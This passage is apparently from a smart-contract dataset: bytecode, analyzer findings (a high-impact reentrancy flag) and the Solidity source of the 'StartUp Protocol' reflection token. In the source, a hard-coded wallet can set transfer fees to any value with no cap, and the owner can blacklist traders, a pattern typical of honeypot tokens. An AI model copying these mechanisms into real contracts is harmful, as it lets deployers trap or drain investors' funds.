a985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120ef90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ef58161214d565b611eff848361220a565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611f5c9190612bcf565b60405180910390a3505050505050505050565b60008083118290611fb6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fad9190612a6d565b60405180910390fd5b5060008385611fc59190612d5b565b9050809150509392505050565b6000806000600854905060006b033b2e3c9fd0803ce8000000905061200e6b033b2e3c9fd0803ce8000000600854611d2f90919063ffffffff16565b821015612030576008546b033b2e3c9fd0803ce8000000935093505050612039565b81819350935050505b9091565b600080600080600080600080600061205a8a600a54600b54612244565b925092509250600061206a611d79565b9050600080600061207d8e8787876122da565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006120e783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506118ca565b905092915050565b60008082846120fe9190612d05565b905083811015612143576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161213a90612aef565b60405180910390fd5b8091505092915050565b6000612157611d79565b9050600061216e828461236390919063ffffffff16565b90506121c281600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120ef90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61221f826008546120a590919063ffffffff16565b60088190555061223a816009546120ef90919063ffffffff16565b6009819055505050565b6000806000806122706064612262888a61236390919063ffffffff16565b611d2f90919063ffffffff16565b9050600061229a606461228c888b61236390919063ffffffff16565b611d2f90919063ffffffff16565b905060006122c3826122b5858c6120a590919063ffffffff16565b6120a590919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806122f3858961236390919063ffffffff16565b9050600061230a868961236390919063ffffffff16565b90506000612321878961236390919063ffffffff16565b9050600061234a8261233c85876120a590919063ffffffff16565b6120a590919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008083141561237657600090506123d8565b600082846123849190612d8c565b90508284826123939190612d5b565b146123d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123ca90612b0f565b60405180910390fd5b809150505b92915050565b60006123f16123ec84612c84565b612c5f565b9050808382526020820190508285602086028201111561241457612413612fef565b5b60005b85811015612444578161242a888261244e565b845260208401935060208301925050600181019050612417565b5050509392505050565b60008135905061245d816132b3565b92915050565b600081519050612472816132b3565b92915050565b600082601f83011261248d5761248c612fea565b5b813561249d8482602086016123de565b91505092915050565b6000813590506124b5816132ca565b92915050565b6000815190506124ca816132ca565b92915050565b6000813590506124df816132e1565b92915050565b6000815190506124f4816132e1565b92915050565b6000602082840312156125105761250f612ff9565b5b600061251e8482850161244e565b91505092915050565b60006020828403121561253d5761253c612ff9565b5b600061254b84828501612463565b91505092915050565b6000806040838503121561256b5761256a612ff9565b5b60006125798582860161244e565b925050602061258a8582860161244e565b9150509250929050565b6000806000606084860312156125ad576125ac612ff9565b5b60006125bb8682870161244e565b93505060206125cc8682870161244e565b92505060406125dd868287016124d0565b9150509250925092565b600080604083850312156125fe576125fd612ff9565b5b600061260c8582860161244e565b925050602061261d858286016124d0565b9150509250929050565b60006020828403121561263d5761263c612ff9565b5b600082013567ffffffffffffffff81111561265b5761265a612ff4565b5b61266784828501612478565b91505092915050565b60006020828403121561268657612685612ff9565b5b6000612694848285016124a6565b91505092915050565b6000602082840312156126b3576126b2612ff9565b5b60006126c1848285016124bb565b91505092915050565b6000806000606084860312156126e3576126e2612ff9565b5b60006126f1868287016124e5565b9350506020612702868287016124e5565b9250506040612713868287016124e5565b9150509250925092565b60006127298383612735565b60208301905092915050565b61273e81612e1a565b82525050565b61274d81612e1a565b82525050565b600061275e82612cc0565b6127688185612ce3565b935061277383612cb0565b8060005b838110156127a457815161278b888261271d565b975061279683612cd6565b925050600181019050612777565b5085935050505092915050565b6127ba81612e2c565b82525050565b6127c981612e6f565b82525050565b60006127da82612ccb565b6127e48185612cf4565b93506127f4818560208601612e81565b6127fd81612ffe565b840191505092915050565b6000612815602383612cf4565b91506128208261300f565b604082019050919050565b6000612838602a83612cf4565b91506128438261305e565b604082019050919050565b600061285b602283612cf4565b9150612866826130ad565b604082019050919050565b600061287e601b83612cf4565b9150612889826130fc565b602082019050919050565b60006128a1602183612cf4565b91506128ac82613125565b604082019050919050565b60006128c4602083612cf4565b91506128cf82613174565b602082019050919050565b60006128e7602983612cf4565b91506128f28261319d565b604082019050919050565b600061290a602583612cf4565b9150612915826131ec565b604082019050919050565b600061292d602483612cf4565b91506129388261323b565b604082019050919050565b6000612950601783612cf4565b915061295b8261328a565b602082019050919050565b61296f81612e58565b82525050565b61297e81612e62565b82525050565b60006020820190506129996000830184612744565b92915050565b60006040820190506129b46000830185612744565b6129c16020830184612744565b9392505050565b60006040820190506129dd6000830185612744565b6129ea6020830184612966565b9392505050565b600060c082019050612a066000830189612744565b612a136020830188612966565b612a2060408301876127c0565b612a2d60608301866127c0565b612a3a6080830185612744565b612a4760a0830184612966565b979650505050505050565b6000602082019050612a6760008301846127b1565b92915050565b60006020820190508181036000830152612a8781846127cf565b905092915050565b60006020820190508181036000830152612aa881612808565b9050919050565b60006020820190508181036000830152612ac88161282b565b9050919050565b60006020820190508181036000830152612ae88161284e565b9050919050565b60006020820190508181036000830152612b0881612871565b9050919050565b60006020820190508181036000830152612b2881612894565b9050919050565b60006020820190508181036000830152612b48816128b7565b9050919050565b60006020820190508181036000830152612b68816128da565b9050919050565b60006020820190508181036000830152612b88816128fd565b9050919050565b60006020820190508181036000830152612ba881612920565b9050919050565b60006020820190508181036000830152612bc881612943565b9050919050565b6000602082019050612be46000830184612966565b92915050565b600060a082019050612bff6000830188612966565b612c0c60208301876127c0565b8181036040830152612c1e8186612753565b9050612c2d6060830185612744565b612c3a6080830184612966565b9695505050505050565b6000602082019050612c596000830184612975565b92915050565b6000612c69612c7a565b9050612c758282612eb4565b919050565b6000604051905090565b600067ffffffffffffffff821115612c9f57612c9e612fbb565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612d1082612e58565b9150612d1b83612e58565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612d5057612d4f612f2e565b5b828201905092915050565b6000612d6682612e58565b9150612d7183612e58565b925082612d8157612d80612f5d565b5b828204905092915050565b6000612d9782612e58565b9150612da283612e58565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612ddb57612dda612f2e565b5b828202905092915050565b6000612df182612e58565b9150612dfc83612e58565b925082821015612e0f57612e0e612f2e565b5b828203905092915050565b6000612e2582612e38565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612e7a82612e58565b9050919050565b60005b83811015612e9f578082015181840152602081019050612e84565b83811115612eae576000848401525b50505050565b612ebd82612ffe565b810181811067ffffffffffffffff82111715612edc57612edb612fbb565b5b80604052505050565b6000612ef082612e58565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612f2357612f22612f2e565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6132bc81612e1a565b81146132c757600080fd5b50565b6132d381612e2c565b81146132de57600080fd5b50565b6132ea81612e58565b81146132f557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a592ad2451d72a8110db245cb5384d8109b7367d5eb027f719561d630936400264736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 5,338 |
0xd0bb4311f84576ed2cbcb7280274b667690c6dfa
|
/**
telegram: https://t.me/StartUpProtocol
*/
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract StartUpProtocol is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1 = 1;
uint256 private _feeAddr2 = 10;
address payable private _feeAddrWallet1 = payable(0xe4C949f213bE82d151B5a519e64897F9B8e7ac88);
address payable private _feeAddrWallet2 = payable(0xe4C949f213bE82d151B5a519e64897F9B8e7ac88);
string private constant _name = "StartUp Protocol";
string private constant _symbol = "SUP";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function setFeeAmountOne(uint256 fee) external {
require(_msgSender() == _feeAddrWallet2, "Unauthorized");
_feeAddr1 = fee;
}
function setFeeAmountTwo(uint256 fee) external {
require(_msgSender() == _feeAddrWallet2, "Unauthorized");
_feeAddr2 = fee;
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 50000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _isBuy(address _sender) private view returns (bool) {
return _sender == uniswapV2Pair;
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101185760003560e01c8063715018a6116100a0578063b515566a11610064578063b515566a14610324578063c3c8cd8014610344578063c9567bf914610359578063cfe81ba01461036e578063dd62ed3e1461038e57600080fd5b8063715018a61461027b578063842b7c08146102905780638da5cb5b146102b057806395d89b41146102d8578063a9059cbb1461030457600080fd5b8063273123b7116100e7578063273123b7146101e8578063313ce5671461020a5780635932ead1146102265780636fc3eaec1461024657806370a082311461025b57600080fd5b806306fdde0314610124578063095ea7b31461016f57806318160ddd1461019f57806323b872dd146101c857600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5060408051808201909152601081526f14dd185c9d155c08141c9bdd1bd8dbdb60821b60208201525b604051610166919061189c565b60405180910390f35b34801561017b57600080fd5b5061018f61018a36600461172d565b6103d4565b6040519015158152602001610166565b3480156101ab57600080fd5b506b033b2e3c9fd0803ce80000005b604051908152602001610166565b3480156101d457600080fd5b5061018f6101e33660046116ed565b6103eb565b3480156101f457600080fd5b5061020861020336600461167d565b610454565b005b34801561021657600080fd5b5060405160098152602001610166565b34801561023257600080fd5b5061020861024136600461181f565b6104a8565b34801561025257600080fd5b506102086104f0565b34801561026757600080fd5b506101ba61027636600461167d565b61051d565b34801561028757600080fd5b5061020861053f565b34801561029c57600080fd5b506102086102ab366004611857565b6105b3565b3480156102bc57600080fd5b506000546040516001600160a01b039091168152602001610166565b3480156102e457600080fd5b5060408051808201909152600381526205355560ec1b6020820152610159565b34801561031057600080fd5b5061018f61031f36600461172d565b61060a565b34801561033057600080fd5b5061020861033f366004611758565b610617565b34801561035057600080fd5b506102086106bb565b34801561036557600080fd5b506102086106f1565b34801561037a57600080fd5b50610208610389366004611857565b610aba565b34801561039a57600080fd5b506101ba6103a93660046116b5565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103e1338484610b11565b5060015b92915050565b60006103f8848484610c35565b61044a843361044585604051806060016040528060288152602001611a6d602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f18565b610b11565b5060019392505050565b6000546001600160a01b031633146104875760405162461bcd60e51b815260040161047e906118ef565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104d25760405162461bcd60e51b815260040161047e906118ef565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b03161461051057600080fd5b4761051a81610f52565b50565b6001600160a01b0381166000908152600260205260408120546103e590610fd7565b6000546001600160a01b031633146105695760405162461bcd60e51b815260040161047e906118ef565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600d546001600160a01b0316336001600160a01b0316146106055760405162461bcd60e51b815260206004820152600c60248201526b155b985d5d1a1bdc9a5e995960a21b604482015260640161047e565b600a55565b60006103e1338484610c35565b6000546001600160a01b031633146106415760405162461bcd60e51b815260040161047e906118ef565b60005b81518110156106b75760016006600084848151811061067357634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106af81611a02565b915050610644565b5050565b600c546001600160a01b0316336001600160a01b0316146106db57600080fd5b60006106e63061051d565b905061051a8161105b565b6000546001600160a01b0316331461071b5760405162461bcd60e51b815260040161047e906118ef565b600f54600160a01b900460ff16156107755760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161047e565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107b530826b033b2e3c9fd0803ce8000000610b11565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156107ee57600080fd5b505afa158015610802573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108269190611699565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561086e57600080fd5b505afa158015610882573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a69190611699565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156108ee57600080fd5b505af1158015610902573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109269190611699565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d71947306109568161051d565b60008061096b6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156109ce57600080fd5b505af11580156109e2573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a07919061186f565b5050600f80546a295be96e6406697200000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610a8257600080fd5b505af1158015610a96573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106b7919061183b565b600d546001600160a01b0316336001600160a01b031614610b0c5760405162461bcd60e51b815260206004820152600c60248201526b155b985d5d1a1bdc9a5e995960a21b604482015260640161047e565b600b55565b6001600160a01b038316610b735760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161047e565b6001600160a01b038216610bd45760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161047e565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c995760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161047e565b6001600160a01b038216610cfb5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161047e565b60008111610d5d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161047e565b6000546001600160a01b03848116911614801590610d8957506000546001600160a01b03838116911614155b15610f08576001600160a01b03831660009081526006602052604090205460ff16158015610dd057506001600160a01b03821660009081526006602052604090205460ff16155b610dd957600080fd5b600f546001600160a01b038481169116148015610e045750600e546001600160a01b03838116911614155b8015610e2957506001600160a01b03821660009081526005602052604090205460ff16155b8015610e3e5750600f54600160b81b900460ff165b15610e9b57601054811115610e5257600080fd5b6001600160a01b0382166000908152600760205260409020544211610e7657600080fd5b610e8142601e611994565b6001600160a01b0383166000908152600760205260409020555b6000610ea63061051d565b600f54909150600160a81b900460ff16158015610ed15750600f546001600160a01b03858116911614155b8015610ee65750600f54600160b01b900460ff165b15610f0657610ef48161105b565b478015610f0457610f0447610f52565b505b505b610f13838383611200565b505050565b60008184841115610f3c5760405162461bcd60e51b815260040161047e919061189c565b506000610f4984866119eb565b95945050505050565b600c546001600160a01b03166108fc610f6c83600261120b565b6040518115909202916000818181858888f19350505050158015610f94573d6000803e3d6000fd5b50600d546001600160a01b03166108fc610faf83600261120b565b6040518115909202916000818181858888f193505050501580156106b7573d6000803e3d6000fd5b600060085482111561103e5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161047e565b600061104861124d565b9050611054838261120b565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110b157634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561110557600080fd5b505afa158015611119573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061113d9190611699565b8160018151811061115e57634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546111849130911684610b11565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111bd908590600090869030904290600401611924565b600060405180830381600087803b1580156111d757600080fd5b505af11580156111eb573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610f13838383611270565b600061105483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611367565b600080600061125a611395565b9092509050611269828261120b565b9250505090565b600080600080600080611282876113dd565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506112b4908761143a565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546112e3908661147c565b6001600160a01b038916600090815260026020526040902055611305816114db565b61130f8483611525565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161135491815260200190565b60405180910390a3505050505050505050565b600081836113885760405162461bcd60e51b815260040161047e919061189c565b506000610f4984866119ac565b60085460009081906b033b2e3c9fd0803ce80000006113b4828261120b565b8210156113d4575050600854926b033b2e3c9fd0803ce800000092509050565b90939092509050565b60008060008060008060008060006113fa8a600a54600b54611549565b925092509250600061140a61124d565b9050600080600061141d8e87878761159e565b919e509c509a509598509396509194505050505091939550919395565b600061105483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f18565b6000806114898385611994565b9050838110156110545760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161047e565b60006114e561124d565b905060006114f383836115ee565b30600090815260026020526040902054909150611510908261147c565b30600090815260026020526040902055505050565b600854611532908361143a565b600855600954611542908261147c565b6009555050565b6000808080611563606461155d89896115ee565b9061120b565b90506000611576606461155d8a896115ee565b9050600061158e826115888b8661143a565b9061143a565b9992985090965090945050505050565b60008080806115ad88866115ee565b905060006115bb88876115ee565b905060006115c988886115ee565b905060006115db82611588868661143a565b939b939a50919850919650505050505050565b6000826115fd575060006103e5565b600061160983856119cc565b90508261161685836119ac565b146110545760405162461bcd60e51b8152602060048201526021602482015